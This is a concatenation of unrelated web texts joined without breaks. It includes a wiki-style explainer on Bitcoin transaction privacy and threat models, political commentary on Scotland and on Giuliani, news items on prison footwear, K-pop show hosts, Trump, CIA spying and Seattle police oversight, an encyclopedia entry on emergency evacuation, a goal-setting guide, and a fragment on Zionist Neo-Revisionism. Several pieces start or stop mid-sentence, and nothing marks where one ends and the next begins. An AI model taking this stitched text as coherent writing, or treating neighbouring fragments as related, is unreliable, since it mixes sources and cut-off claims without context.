Bitcoin transactions are made up of inputs and outputs, of which there can be one or more. Previously-created outputs can be used as inputs for later transactions. Such outputs are destroyed when spent and new unspent outputs are usually created to replace them.
Consider this example transaction:
1 btc ----> 1 btc 3 btc 3 btc
This transaction has two inputs, worth 1 btc and 3 btc, and creates two outputs also worth 1 btc and 3 btc.
If you were to look at this on the blockchain, what would you assume is the meaning of this transaction? (for example, we usually assume a bitcoin transaction is a payment but it doesn't have to be).
There are at least nine' possible[1] interpretations:
Alice provides both inputs and pays 3 btc to Bob. Alice owns the 1 btc output (i.e. it is a change output). Alice provides both inputs and pays 1 btc to Bob, with 3 btc paid back to Alice as the change. Alice provides 1 btc input and Bob provides 3 btc input, Alice gets 1 btc output and Bob gets 3 btc output. This is a kind of CoinJoin transaction. Alice pays 2 btc to Bob. Alice provides 3 btc input, gets the 1 btc output; Bob provides 1 btc input and gets 3 btc. This would be a PayJoin transaction type. Alice pays 4 btc to Bob (but using two outputs for some reason). Fake CoinJoin - Alice owns all inputs and outputs, and is simply moving coins between her own addresses. Alice pays Bob 3 btc and Carol 1 btc. This is a batched payment with no change address. Alice pays 3, Bob pays 1; Carol gets 3 btc and David gets 3 btc. This is some kind of CoinJoined batched payment with no change address. Alice and Bob pays 4 btc to Carol (but using two outputs).
Many interpretations are possible just from such a simple transaction. Therefore it's completely false to say that bitcoin transactions are always perfectly traceable, the reality is much more complicated.
Privacy-relevant adversaries who analyze the blockchain usually rely on heuristics (or idioms of use) where certain assumptions are made about what what is plausible. The analyst would then ignore or exclude some of these possibilities. But those are only assumptions which can be wrong. Someone who wants better privacy they can intentionally break those assumptions which will completely fool an analyst.
Units of the bitcoin currency are not watermarked within a transaction (in other words they don't have little serial numbers). For example the 1 btc input in that transaction may end up in the 1 btc output or part of the 3 btc output, or a mixture of both. Transactions are many-to-many mappings, so an important sense its impossible to answer the question of where the 1 btc ended up. This fungibility of bitcoin within one transaction is an important reason for the different possibility interpretations of the above transaction.
Threat model
When considering privacy you need to think about exactly who you're hiding from. You must examine how a hypothetical adversary could spy on you, what kind of information is most important to you and which technology you need to use to protect your privacy. The kind of behaviour needed to protect your privacy therefore depends on your threat model.
Newcomers to privacy often think that they can simply download some software and all their privacy concerns will be solved. This is not so. Privacy requires a change in behaviour, however slight. For example, imagine if you had a perfectly private internet where who you're communicating with and what you say are completely private. You could still use this to communicate with a social media website to write your real name, upload a selfie and talk about what you're doing right now. Anybody on the internet could view that information so your privacy would be ruined even though you were using perfectly private technology.
For details read the talk Opsec for Hackers by grugq. The talk is aimed mostly at political activists who need privacy from governments, but much the advice generally applies to all of us.
Much of the time plausible deniability is not good enough because lots of spying methods only need to work on a statistical level (e.g. targeted advertising).
Method of data fusion
Data fusion diagram showing how two different privacy leaks can damage privacy far more in combination.
Multiple privacy leaks when combined together can be far more damaging to privacy than any single leaks. Imagine if a receiver of a transaction is trying to deanonymize the sender. Each privacy leak would eliminate many candidates for who the sender is, two different privacy leaks would eliminate different candidates leaving far fewer candidates remaining. See the diagram for a diagram of this.
Data fusion diagram example with newspaper buyer.
This is why even leaks of a small amount of information should be avoided, as they can often completely ruin privacy when combined with other leaks. |
wanting to be caught up in the toxic crossfire of such extraordinary hostility towards the SNP.
4. The people responsible for losing Scotland up to £10bn are now howling at the Scottish Government over the deal’s collapse, and the fact that it didn’t shout about that collapse from the rooftops, even though there was no actual “deal” to collapse in the first place. The Chinese had merely agreed to discuss one, then ran away in horror as Labour, the Tories and the Times descended upon them like screeching harpies from Hades.
Glackin, having almost certainly done more than any other individual to sink the agreement and wreak serious harm on Scotland’s economy, then had the brass neck to pen a mind-bogglingly enraged piece about the SNP’s ineptitude.
It concludes with paragraphs which plainly acknowledge that the chief culprit in the “debacle” was Glackin himself (along with his hack colleagues and opposition MSPs), yet still summons the chutzpah to thunder that it “marks a new nadir in [the SNP’s] abysmal decade in power”, and is “a national disgrace”.
Those two comments are, of course, probably true, just not in the way that Michael Glackin appears to think. It’s been clear for a long time that the opposition parties and the Unionist media are more than happy to damage Scotland in their neverending quest to attack the SNP. It’s a little surprising to see them this angry on one of the few occasions when it’s actually worked.Prison officers are taking a softly-softly approach
Officers at Wakefield's maximum security prison are wearing soft-soled footwear after complaints from some prisoners at the building.
But a Prison Officers' Association spokesman said the approach also had security benefits.
Glyn Travis said officers could patrol landings unheard by the inmates.
Mr Travis said the policy was fairly widespread across the country as the usual footwear made officers' approaches to cells audible during the night.
He said: "In the majority of prisons officers wear soft shoes or slippers on nights.
"By midnight most prisoners should be asleep and we don't want to disturb prisoners' sleep."
Slate flooring
The policy of using soft-soled footwear on night shifts also reaps rewards for officers patrolling the landings.
"Walking around with soft shoes, the prisoners don't know we're there," said Mr Travis.
"We are always listening out for prisoners using drugs or being involved in other illegal activities during the night."
Mr Travis said many of the Victorian-built jails had slate flooring which was noisy as officers approached wearing boots.
He added: "As usual you get the same offenders who whinge for England about it."The new “Inkigayo” MCs have so much promising potential and their chemistry is already growing!
On February 3, SBS revealed a look into GOT7’s Jinyoung, BLACKPINK’s Jisoo, and NCT’s Doyoung meeting each other in order to go over the script for the music show.
While they couldn’t help be awkward as it’s their first time actually seeing each other all in one place, the three idols tried their hardest to ease the atmosphere.
After shy introductions, Doyoung suddenly turned to Jinyoung and said, “I really like GOT7,” while Jisoo burst into laughter at the unexpected confession. Jinyoung replied, “I really like NCT [also].” The GOT7 member later happily commented, “I’ve made new celebrity friends.”
During the actual script reading, the three idols also practiced a possible introduction they could use, made up on-the-spot by Doyoung.
To finish things off, they relayed their thoughts about working together and their new MC positions. Jisoo and Doyoung explained that they were extremely thankful for the opportunity and promised to work hard.
However, Jinyoung had a more hilarious response, and suddenly said, “Jackson, I’ll work hard,” since his fellow member was a former “Inkigayo” MC. He went on, explaining that Jackson had said he would be carefully watching how Jinyoung does. Doyoung also revealed that the NCT Dream members congratulated him the most.
They went on to talk about their “roles,” and Jisoo semi-jokingly said, “Since I’m the only girl, I’ll take on the main character role.” While Jinyoung decided he will be the reliable one because of the way he speaks, Doyoung confidently expressed that he would be bright and cute since he was the youngest. Of course, Jisoo and Jinyoung couldn’t let go of the opportunity, and asked him to demonstrate a cute act (aegyo).
The three idols signed off with their new chant, before asking everyone to tune in to their first live broadcast on February 5, at 12:10 p.m. KST.
Watch all their giggly moments below!President Donald Trump made cryptic, seemingly threatening remarks during a White House gathering of U.S. military leaders Thursday night, saying it represented "the calm before the storm."
The president made the comments as he and first lady Melania Trump posed for a group photo with his senior military leaders and their spouses in the State Dining Room of the White House.
"You guys know what this represents? Maybe the calm before the storm," the commander in chief said.
"We have the world's great military people in this room," he added, as live classical music played.
Pres. Trump makes cryptic remarks during White House gathering of military leaders, saying gathering could represent "calm before the storm" pic.twitter.com/h5hign9ZR6 — ABC News (@ABC) October 6, 2017
"What storm, Mr. President?" one reporter shouted.
"You'll find out," the president said.
Trump was equally coy on Friday in the Oval Office when he was asked again about the remark after he signed a proclamation about National Manufacturing Day.
"You'll find out," he said, after winking. "We'll see."
White House press secretary Sarah Sanders said that the president was not making a joke and that it continues to be the desire of the administration not to divulge the potential for military action, whether planned or not.
"I think you can take the president protecting the American people always extremely serious," she said, without offering further explanation for Trump's words. She did push back on the theory that he was "messing with the press."
"I think we have some serious world issues here," continued Sanders later in the briefing. "I think that North Korea, Iran both continue to be bad actors and the president is somebody who's going to always look for ways to protect Americans and he's not going to dictate what those actions may look like."
Prior to his Thursday evening comments, Trump said the group of military leaders would discuss the most pressing issues facing the country, including North Korea and Iran.
Trump said "tremendous progress" had been made with ISIS, adding, "I guess the media's going to be finding out about that over the next short period of time."
He also said Iran should not be allowed to obtain nuclear weapons.
And of North Korea he said, "We cannot allow this dictatorship to threaten our nation or allies with unimaginable loss of life," adding that his administration will "do what we must do to prevent that from happening and it will be done, if necessary. Believe me."Earlier this week, the ACLU released a report on documents it recently obtained via a Freedom of Information Act lawsuit that sheds some light on the issue of domestic CIA spying.
The documents were heavily redacted, but they nevertheless reveal that the CIA spies on Americans in America, even though its mandate generally prohibits it from operating within the United States.
This should come as zero shock. We’ve known this for a long time.
If fact, we’ve know this since the 1970s!
The ACLU notes in its report that Sen. Frank Church’s investigation into U.S. surveillance activities found that the CIA spied on Americans.
The national debate in the 1970s about the proper limits of U.S. government spying on its own citizens was, to a large extent, about the CIA. In the wake of the Watergate scandal and news stories about other illegal CIA activity, President Gerald Ford and Congress launched investigations into the full range of CIA misdeeds — from domestic spying programs and infiltration of leftist organizations to experimentation on non-consenting human subjects and attempts to assassinate foreign leaders.
Although the CIA’s legal authority to spy on Americans was very narrow, these investigative committees — chaired by Sen. Frank Church, Vice President Nelson Rockefeller, and Rep. Otis Pike — discovered that the CIA had engaged in a massive domestic spying project, “Operation CHAOS,” which targeted anti-war activists and political dissenters. The committee reports also revealed that, for more than 20 years, the CIA had indiscriminately intercepted and opened hundreds of thousands of Americans’ letters. In addition to documenting the intelligence agencies’ extensive violations of the law, the Church Committee concluded that the constitutional system of checks and balances “has not adequately controlled intelligence activities.“
So, 40 years later and we’re still investigating.
We know they spy on us. We know they won’t stop.
Congress hasn’t stopped it. The federal courts haven’t stopped it. The presidents sure haven’t stopped it.
When are we going to do something to stop it?
With all due respect and gratitude to the ACLU for its work to shine the light on these violations of our privacy, the time for investigating has long since passed. We’ve know this for 40 years.
We’ve watched Congress engage in political theater. We’ve sued in federal court. We’ve investigated until we’re blue in the face. The time has come to take concrete action to protect privacy.
The time is now for something different.
At OffNow, we have a plan. Click HERE to take action today!
Like this: Like Loading...For the last year I have been wanting to do my own painting of Metro doing what he does best…painting. But I was unsure how I wanted to go about it, whether to do it in watercolor or acrylic. So finally I broke out Metro’s acrylics and just started putting paint to paper until something that looked like Metro emerged. There was no preliminary drawing, just painting and carving away everything that wasn’t Metro. I tried to keep the strokes loose and colorful as Metro would, when he makes his own paintings. I hope he doesn’t mind that I used his paints.
I also uploaded the image to Metro’s SmugMug site. For anyone who wants a print to hang by their original painting by Metro.
“Spirit of Metro” by Ron Krajewski
Sold!
11×14″ Acrylic on 140lb cold presses watercolor paper
$300 Available on Etsy
AdvertisementsRudy Giuliani’s history of terrorism in the United States would not agree with Donald Trump’s version of the same. Andrew Burton/Getty Images
Rudy Giuliani got a lot of grief on Monday for having supposedly forgotten about the Sept. 11 attacks that took place when he was mayor of New York City and formed a not insignificant portion of the basis for his national political career.
During a speech introducing Donald Trump’s vice presidential nominee Mike Pence in Youngstown, Ohio, Giuliani said: “Under those eight years, before Obama came along, we didn’t have any successful radical Islamic terrorist attack in the United States. They all started when [Hillary] Clinton and Obama got into office.”
This led to some hyperventilating on Twitter from outlets saying that Giuliani was ignoring 9/11 (something Giuliani is normally not accused of doing).
Rudy Giuliani just said there were no successful radical Islamic terrorist attacks in the 8 years before Obama: https://t.co/hfzJpkuB2q — Mic (@mic) August 15, 2016
Giuliani claims there were no terror attacks on US soil before Obama (VIDEO) https://t.co/V1YAn66994 pic.twitter.com/mvfjeNzwQc — Talking Points Memo (@TPM) August 15, 2016
Rudy Giuliani, Trump backer and Mayor of New York City on 9/11, claims no successful radical Islamic terror attack in US before Obama. — CBC News Alerts (@CBCAlerts) August 15, 2016
Rudy Giuliani hates Obama so much he actually forgot about 9/11. https://t.co/mpDyxby2yl pic.twitter.com/JRLiXRDqTO — The New Republic (@newrepublic) August 15, 2016
Rudy Giuliani claims there were no terror attacks before Obama — completely forgets 9/11 https://t.co/KHgdCapI5A pic.twitter.com/JAjwHhWKoa — New York Daily News (@NYDailyNews) August 15, 2016
But while his phrasing was misleading, no, Giuliani did not rewrite history to delete the worst foreign attack on U.S. soil since the War of 1812. In fact, right before this portion of the speech, he said that “[on] Sept. 11, when we went through the worst foreign attack in our history since the War of 1812.”
He then credited Pence’s work on the Patriot Act with preventing more attacks before pivoting to his remarks about eight years without another attack. Giuliani clearly meant there wasn’t an attack during the 2001–2009 period after 9/11 and not the entirety of the eight years before Obama took office. Again, this was a poorly worded, misleading statement, but Giuliani clearly did not literally mean that 9/11 didn’t happen.
Perhaps more interesting than this half-gaffe, though, is that, in stumping for Trump, Giuliani contradicted one of Trump’s main talking points on terrorism from his primary campaign.
Giuliani’s point is that George W. Bush kept America safe and Barack Obama didn’t. This is the same line of argument that Jeb Bush, the former president’s brother and Trump’s erstwhile primary rival, used in his own failed campaign against Trump. Trump, though, offered rather eloquent takedowns of the premise that the most recent Republican administration “kept us safe” while the Democrats did not. First, in October, he called Jeb Bush “pathetic for saying nothing happened during your brother’s term when the World Trade Center was attacked and came down.” Then in February, he hit Bush with this doozy of a line about his brother’s presidency and the years proceeding the Obama administration:
What does that mean ‘he kept the country safe after 9/11?’ In other words, we had this major catastrophe after that. What does that mean ‘after that?’ I don’t know. I’ve heard that for years. … What about during 9/11? I was there. I lost a lot of friends that were killed in that building. The worst attack ever in this country—it was during his Presidency.
We had the worst attack ever, by the way after that we did Ok. That’s [like saying] the team scored 19 runs in the first inning, but after that we played well. I don’t think so.
Giuliani should probably stop using this argument, which Donald Trump refuted quite well, while he is directly campaigning for Donald Trump.
Read more of Slate’s coverage of the 2016 campaign.By now it’s clear that “Millennial Pink,” a shade of pink somewhere between peach and baby pink, has infiltrated everything. It’s the color of minimalist beauty brands, Instagram-friendly restaurants, and women-only social clubs. It’s god damn everywhere.
But someone else besides Drake and Rihanna once loved millennial pink, long before Glossier was using it to sell expensive balms. Frank Lloyd Wright, the influential architect who designed New York City’s Guggenheim museum and hundreds of other buildings, seemed to like the shade. He liked it so much that when he was originally drafting designs for the Guggenheim museum, which was inspired by a nautilus shell, Wright made two designs for a pink museum: one a bright, reddish hot pink and the other a peachy shade that looks a lot like the ubiquitous millennial pink.
Eventually Wright settled on white, which is a shame because god knows the Guggenheim would be extremely on trend right now had it been done up in baby pink.
In the mid-1950s, Wright established his historic home and office in Arizona named Taliesin West. There he created the “Taliesin West color palette” which included two millennial pink-y shades: Wright Shell Pink and Wright Flesh Pink, the latter being just a little more peach. The palette was inspired by the natural landscape of Arizona, all of its rocky terrain and pretty sunsets.
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This shade of pink actually shows up in a lot of Wright’s work. The Marin County Civic Center in California which Wright designed has light pink stucco walls and has since been dubbed “Big Pink.” The King Kamehameha Golf Club, which was actually based on designs Wright made for a house for Marilyn Monroe, is baby pink. The Arizona State University’s performing arts center the Grady Gammage Auditorium, designed by Wright, is often described as looking like a “pink wedding cake.” Some of his homes like Gordon House feature pink bathrooms.
Even by happy accident, when the couple Dr. George and Mildred Ablin commissioned Wright to completely design their house in 1959, the architect meant for them to have a home made of gray concrete. Instead, after Wright died, the family chose to paint the whole house pink. And that family is definitely the trendiest of them all.
Correction: A previous version of this post incorrectly identified Taliesin West as being based in Nevada. It is based in Arizona. Jezebel regrets the error.“This is breaking new ground nationally and it is a very exciting experiment,” said Samuel Walker, a nationally recognized police-accountability expert and emeritus professor criminal justice at the University of Nebraska Omaha.
Nearly seven years after an officer’s fatal shooting of First Nations woodcarver John T. Williams shook faith in the Seattle Police Department, the City Council unanimously passed historic legislation Monday to bolster civilian and community oversight of the department’s internal disciplinary system.
The ordinance now will be reviewed by U.S. District Judge James Robart to determine whether any of its provisions conflict with a 2012 consent decree between the city and U.S. Justice Department requiring the Police Department to address excessive force and biased policing.
If approved, the city would then face bargaining with its two police unions over some terms that would, for example, make it harder for officers to overturn firings and other discipline on appeal.
Overall, the ordinance creates a powerful civilian inspector general who, beyond overseeing disciplinary matters, would also review internal workings throughout the department.
It also would bring across-the-board civilian supervision of internal investigations by the newly named Office of Police Accountability, with at least a mix of civilian and sworn investigators instead of solely uniformed officers.
And the Community Police Commission, created as a temporary body under the consent decree, would become permanent and larger, with enhanced authority to shape the future of the department.
“This is breaking new ground nationally and it is a very exciting experiment,” said Samuel Walker, a nationally recognized police-accountability expert and emeritus professor of criminal justice at the University of Nebraska Omaha.
“There is no comparison,” Walker said in an interview Monday with The Seattle Times.
The key to success, he said, will be the ability of the three entities to work together.
But to reach that point, the bargaining with the largest union, the Seattle Police Officers’ Guild, will present a test.
Guild President Kevin Stuckey, who spoke before Monday’s council vote, said, “This is my community. I am ready to get to work.”
Stuckey, who represents officers and sergeants, said he didn’t want to impede the ordinance, while adding, “I’m just here to say let’s play by the rules.”
As long as state law is followed, he added, “I’m in.”
Stuckey couldn’t be reached after the vote to elaborate on his comments.
No representative of the other union, the Seattle Police Management Association, which represents captains and lieutenants, spoke during Monday’s council proceedings.
City Attorney Pete Holmes, in a statement, said, “This is a significant step towards ensuring for the next generations that our police department remains accountable to the public and focused on maintaining its dedication to constitutional policing. We still have a way to go.”
The U.S. Attorney’s Office in Seattle, in a statement, noted that reforms implemented under the consent decree largely have focused on “front-end” prevention of problems.
“This legislation focuses on the important safeguards necessary on the ‘back end’ when things go wrong and discipline of an officer is being considered,” the statement said.
The legislation adds to sweeping reforms the department has enacted under the consent decree, including new policies that the court’s federal monitor has lauded as bringing about a dramatic reduction in the use of force.
It was the shooting of Williams on Aug. 30, 2010, on a downtown Seattle sidewalk that played a key role in triggering federal scrutiny of the department. The shooting was found to be unjustified and led to the resignation of the officer found to have acted outside department “policy, tactics and training” when he shot Williams four times at Boren Avenue and Howell Street.
Other police actions also drew attention, including an officer’s highly publicized threat in 2010 to beat the “Mexican piss” out of a prone Latino man.
The man’s attorney was M. Lorena González, who in 2015 was elected to the Seattle City Council and, as chair of the council committee overseeing public safety, ushered through the legislation that passed 8-0 vote Monday, with Council President Bruce Harrell absent.
“Today’s vote crystallizes my vision for Seattle’s police accountability framework and our ongoing efforts to reform the Seattle Police Department,” González said in a statement shortly after the vote.
Before the vote, González singled out Councilmember Tim Burgess for his work on the ordinance, calling it “quite a legacy” before he leaves the council at the end of the year.
Burgess, a onetime Seattle police officer, has championed police reform for years.
Burgess praised Mayor Ed Murray and Police Chief Kathleen O’Toole for their work in supporting reform efforts they inherited. O’Toole retains final say over discipline under the legislation.
But the most emotional moment came just before the vote, when González asked the Rev. Harriett Walden, an African-American woman and co-chair of the Community Police Commission, to stand in recognition of her decades of work as a founder of Seattle’s Mothers for Police Accountability.
The packed council chambers erupted in cheers and a standing ovation.The urgent removal of people from an area of imminent or ongoing threat
Emergency evacuation is the urgent immediate egress or escape of people away from an area that contains an imminent threat, an ongoing threat or a hazard to lives or property.
Examples range from the small-scale evacuation of a building due to a storm or fire to the large-scale evacuation of a city because of a flood, bombardment or approaching weather system. In situations involving hazardous materials or possible contamination, evacuees may be decontaminated prior to being transported out of the contaminated area.
Reasons for evacuation [ edit ]
Evacuations may be carried out before, during or after disasters such as:
Other reasons include:
Planning [ edit ]
Emergency evacuation plans are developed to ensure the safest and most efficient evacuation time of all expected residents of a structure, city, or region. A benchmark "evacuation time" for different hazards and conditions is established. These benchmarks can be established through using best practices, regulations, or using simulations, such as modeling the flow of people in a building, to determine the benchmark. Proper planning will use multiple exits, contra-flow lanes, and special technologies to ensure full, fast and complete evacuation. Consideration for personal situations which may affect an individual's ability to evacuate is taken into account, including alarm signals that use both aural and visual alerts, and also evacuation equipment such as sleds, pads, and chairs for non-ambulatory people. Considering the persons with a disability during an emergency evacuation is important. This is because it is crucial that every user gets out of the building or to a safe place in the building, thus also the persons with disabilities or the non- ambulatory people. Regulations such as building codes can be used to minimize the negative consequences of the threat triggering the evacuation and optimize the need to self-evacuate without causing alarm. Proper planning, that covers designated actions to ensure safety of the users in emergencies, will implement an all-hazards approach so that plans can be reused for multiple hazards that could exist.
Therefore, key elements for emergency planning and preparedness are early warnings for the people inside the building by emergency helpers but also voice assistance, facilities to leave the building safe and fast, such as exit routes and good evacuation practices. The evacuation managing team must know that to do in emergency situations and which actions to take.[1] Furthermore, the above-mentioned key elements are highly bounded with the human behavior types (like panic levels), awareness of the layout which is very crucial item in emergency evacuation for maritime transportation and also the prompt reactions of first respondents [2].
Evacuation sequence [ edit ]
The sequence of an evacuation can be divided into the following phases:
detection decision alarm reaction movement to an area of refuge or an assembly station transportation
The time for the first four phases is usually called pre-movement time.
The particular phases are different for different objects, e.g., for ships a distinction between assembly and embarkation (to boats or rafts) is made. These are separate from each other. The decision whether to enter the boats or rafts is thus usually made after assembly is completed.
Small scale evacuations [ edit ]
An exit sign in the United States, showing the way to the nearest exit, with two emergency lights for electrical failure.
The strategy of individuals in evacuating buildings was investigated by John Abrahams in 1994.[3] The independent variables were the complexity of the building and the movement ability of the individuals. With increasing complexity and decreasing motion ability, the strategy changes from "fast egress", through "slow egress" and "move to safe place inside building" (such as a staircase), to "stay in place and wait for help".[4] The third strategy is the notion of using a designated "safe haven" on the floor. This is a section of the building that is reinforced to protect against specific hazards, such as fire, smoke or structural collapse. Some hazards may have safe havens on each floor, while a hazard such as a tornado, may have a single safe haven or safe room. Typically persons with limited mobility are requested to report to a safe haven for rescue by first responders. In most buildings, the safe haven will be in the stairwell.
By investing the strategy of individuals in evacuating buildings, the variable human reactions is a complex factor to take into account during an evacuation. This is a critical factor for escaping fast out of the building or to a "safe haven". During an emergency evacuation, people do not immediately react after hearing the alarm signal. This is because an evacuation drill is more common. Therefore, they will start evacuating when there is more information given about the degree of danger. During an evacuation, people often use the most known escape route, this is often the route through which they entered the building. Thereby, people mostly adapt the role follower in emergencies. These human reactions will determinate the strategy of individuals in evacuating buildings.[5]
The most common equipment in buildings to facilitate emergency evacuations are fire alarms, exit signs, and emergency lights. Some structures need special emergency exits or fire escapes to ensure the availability of alternative escape paths. Commercial passenger vehicles such as buses, boats, and aircraft also often have evacuation lighting and signage, and in some cases windows or extra doors that function as emergency exits. Commercial emergency aircraft evacuation is also facilitated by evacuation slides and pre-flight safety briefings. Military aircraft are often equipped with ejection seats or parachutes. Water vessels and commercial aircraft that fly over water are equipped with personal flotation devices and life rafts.
Since the emergence of The Internet of Things technologies, new techniques are appearing, which involves new equipment. Most of them are wireless devices such as IDs scanner, beacons or backscatter system.[6] The new techniques are for example based on a communication protocol such as Wi-Fi, Bluetooth, UWB or RFID and the use of indoor positioning system. The use of The Internet of Things technologies in small scale evacuations can result in a faster evacuation time: Mostly by localizing the fire sources, analysing the fire spreading inside the building or finding people that are trapped inside the building. Some buildings can have a monitoring interface that provides all these kind of information to evacuate in the best way possible.
Large scale evacuations [ edit ]
The evacuation of districts is part of disaster management. Many of the largest evacuations have been in the face of wartime military attacks. Modern large scale evacuations are usually the result of natural disasters. The largest peacetime evacuations in the United States to date occurred during Hurricane Gustav[citation needed] and the category-5 Hurricane Rita (2005) in a scare one month after the flood-deaths of Hurricane Katrina.
Hurricane evacuation [ edit ]
Evacuation route marking near the Texas Gulf Coast
Despite mandatory evacuation orders, many people did not leave New Orleans, United States, as Hurricane Katrina approached. Even after the city was flooded and uninhabitable, some people still refused to leave their homes.[7][8]
The longer a person has lived in a coastal area, the less likely they are to evacuate. A hurricane's path is difficult to predict. Forecasters know about hurricanes days in advance, but their forecasts of where the storm will hit are only educated guesses. Hurricanes give a lot of warning time compared to most disasters humans experience. However, this allows forecasters and officials to "cry wolf," making people take evacuation orders less seriously. Hurricanes can be predicted to hit a coastal town many times without the town ever actually experiencing the brunt of a storm. If evacuation orders are given too early, the hurricane can change course and leave the evacuated area unscathed. People may think they have weathered hurricanes before, when in reality the hurricane didn't hit them directly, giving them false confidence. Those who have lived on the coast for ten or more years are the most resistant to evacuating.[9]
Public transportation [ edit ]
Since Hurricane Katrina, there has been an increase in evacuation planning. Current best practices include the need to use multi-modal transportation networks. Hurricane Gustav used military airlift resources to facilitate evacuating people out of the affected area. More complex evacuation planning is now being considered, such as using elementary schools as rally points for evacuation. In the United States, elementary schools are usually more numerous in a community than other public structures. Their locations and inherent design to accommodate bus transportation makes it an ideal evacuation point.
Registries [ edit ]
Most local communities maintain registries for special needs individuals. These opt-in registries help with planning, as those that need government evacuation assistance are identified before the disaster. Registries used after a disaster are being used to help reunite families that have become separated after a disaster.[citation needed]
Enforcing evacuation orders [ edit ]
In the United States, a person usually cannot be forced to evacuate. To facilitate voluntary compliance with mandatory evacuation orders first responders and disaster, management officials have used creative techniques such as asking people for the names and contact of their next-of-kin, writing their Social Security Numbers on their limbs and torso to enable identification of remains,[10] and refusing to provide government services in the affected area, including emergency services.
Personal Evacuation Kits [ edit ]
In case of an emergency evacuation situation, it is important to have an individual emergency evacuation kit prepared and on hand prior to the emergency. An emergency evacuation kit is a container of food, clothing, water, and other supplies that can be used to sustain an individual during lag time. Lag time is the period between the actual occurrence of an emergency and when organized help becomes available, generally 72 hours, though this can vary from a few hours to several days. It may take this long for authorities to get evacuation shelters fully up and functional. During this time, evacuees may suffer fairly primitive conditions; no clean water, heat, lights, toilet facilities, or shelter. An emergency evacuation kit, or 72-hour kit, can help evacuees to endure the evacuation experience with dignity and a degree of comfort.
Cyber-physical systems [ edit ]
The development of digital infrastructure resources opened a new research area in the design of cyber-physical systems[11] to provide the individual with safer options during an emergency evacuation.[12]
See also [ edit ]
References [ edit ]Failproof Your Resolutions
A comprehensive guide to achieving your wildest goals in 2017 and beyond
Matt Serna Blocked Unblock Follow Following Jan 21, 2017
Almost everybody’s set a New Year’s resolution at some point.
And almost everybody who’s set a New Year’s resolution has had the experience of falling short with one. As it turns out, in any given year, less than 10% of people successfully follow through with their resolutions.
If you work out at a gym, you’ve probably noticed that it’s already getting a little less crowded than it was in the first week of January.
Not even a month into the year, and people are starting to slip.
Why does it have to be so hard?
It’s a problem that extends past New Year’s resolutions and extends to goal-setting more broadly.
It’s not that complicated. Really, there are three big reasons why people to achieve their goals :
Goals are selected poorly Goals are designed poorly Goals are implemented poorly
At least, that’s been my personal experience.
For me, every year, there are at least one or two key resolutions or goals that slip.
Enough is enough.
To help myself and my readers, I’ve put together a guide that synthesizes scientific research, observed best practice, and personal experience to optimize goal selection, design, and implementation.
Throughout, I’ll be taking one of my own goals in 2017 goal — gaining more subscribers to my blog — and refining it through the frameworks detailed below by means of illustration.
At the end of the guide, I’ve included a link to download goal setting worksheets based on the principles and frameworks discussed.
Without further ado, let’s get started!
Selecting “stretch goals” to increase motivation and accelerate success
One of my favorite takeaways from Tim Ferriss’s “Tools of Titans” came from his interview with noted (and notorious) venture capitalist Peter Thiel, who recommended:
“If you have a 10-year plan of how to get [somewhere], you should ask: Why can’t you do this in 6 months?”
It’s this type of thinking that is at the heart of stretch goals. Stretch goals require you to extend beyond what may initially seem reasonable or possible. As Charles Duhigg, author of Smarter Faster Better: The Secrets of Being Productive in Life and Business explains:
“Numerous academic studies have examined the impact of stretch goals, and have consistently found that forcing people to commit to ambitious, seemingly out-of-reach objectives can spark outsized jumps in innovation and productivity.”
Stretch goals force you to think more deeply about how to accomplish your goal, and spur more out-of-the-box thinking. Ambitious targets force you to think more deeply about what drives your behavior and what drives the outcomes you want to achieve. They also encourages experimentation and risk-taking.
Perhaps most importantly, stretch goals unlock more energy. In a 2011 article published in the Academy of Management Review Business Journal, a group of researchers noted that “by forcing a substantial elevation in collective aspirations, stretch goals can shift attention to possible new futures and perhaps spark increased energy…”
Think about it — what’s more exciting: losing 5 pounds, or six-pack abs? Which one is going to drive you to work harder?
Take the example of my blog. Right now, I have under 100 subscribers, and a reasonable, “incremental” goal would be to aim for 500 subscribers by the end of the year. Instead, I’m setting a stretch goal of 5,000 subscribers by the end of the year.
This will force me to write differently, market differently, and structure my time differently. It will force me to take chances. And chasing that ambitious outcome will give me more energy than shooting for something more modest.
Designing goals with the SMART framework to increase adherence
For all their benefits, stretch goals on their own are not enough to drive success. In fact, without the right goal design, stretch goals can be counter-productive. As Duhigg explains, stretch goals “can cause panic and convince people that success is impossible because the goal is too big. There is a fine line between an ambition that helps people achieve something amazing and one that crushes morale.”
That’s where SMART goal design comes to the rescue.
SMART is an acronym for:
Specific
Measurable
Actionable
Realistic
Time-bound
Making sure your goal fits each of these criteria significantly increases your chances of achieving it.
Let’s dig into each of these categories a little bit deeper.
Specific. The goal must be clearly defined in order for you to effectively put together a plan to execute against the goal. For example, “growing my blog” is not specific. “Increase the number of subscribers on my list to 5000” is.
Measurable. You need to be able to definitively measure whether or not you’ve accomplished your goal, as well as how you’re tracking toward accomplishing that goal.
Actionable. There need to be actions you can take to execute on your goal. Otherwise, it’s just a wish.
Realistic. Even when setting stretch goals, you need to have a realistic plan for taking action toward it. Speaking to my own stretch goal: while 5000 subscribers quite punchy, I’ve broken it down into specific, realistic actions — writing 5+ hours per week, and promoting content 5+ hours per week. If I can do those things well, I should be able to publish 50 articles in 2017, and if each attracts an average of 100 subscribers, then I’ll hit my goal by the end of the year.
Time-bound: Last but not least, the goal needs to have a deadline. This forces action, creates a sense of urgency, and demands day-to-day consistency. If my goal was to gain 5000 subscribers, full-stop, I wouldn’t feel the same pressure to write and publish articles as I do by setting a hard end-of-year deadline.
Why does SMART goal setting work so well? As Duhigg explains:
“Goal-setting processes like the SMART system force people to translate vague aspirations into concrete plans. The process of making a goal specific and proving it is achievable involves figuring out the steps it requires — or shifting that goal.”
The clearer your plan, the simpler it will be to follow, and the more likely you will be to succeed.
Reconciling SMART goals with stretch goals
Just like how stretch goals without SMART design can leave people demoralized by the scope of the goal, SMART goals outside the stretch goal framework can hinder achievement.
In Smarter Faster Better, Duhigg noted the curious story of an office manager creating SMART goals for activities as trivial as ordering office supplies:
Specific: Order staplers, pens, and desk calendars |
otinsky" and said "we can defend the honour of Israel... not by filling our bellies with lectures on peace... but rather by learning the doctrine of Jabotinsky".[11] Brit HaBirionim demonstrators outside handed out leaflets declaring that peace studies were "the work of Satan" and were "an anti-Zionist measure, a stab in the back of Zionism.".
Ahimeir believed that his ideology would constitute a "neo-Revisionism" within the Zionist movement that he criticized, and advocated it at a meeting of the Hatzohar movement in Vienna in 1932, saying:
Zionism is imbued with the ghetto and pronouncements. The path to Jewish sovereignty has to cross a bridge of steel, not a bridge of paper.... I bring to you a new form of social organization, one that is free of principles and parties... I bring you Neo-Revisionism.[12]
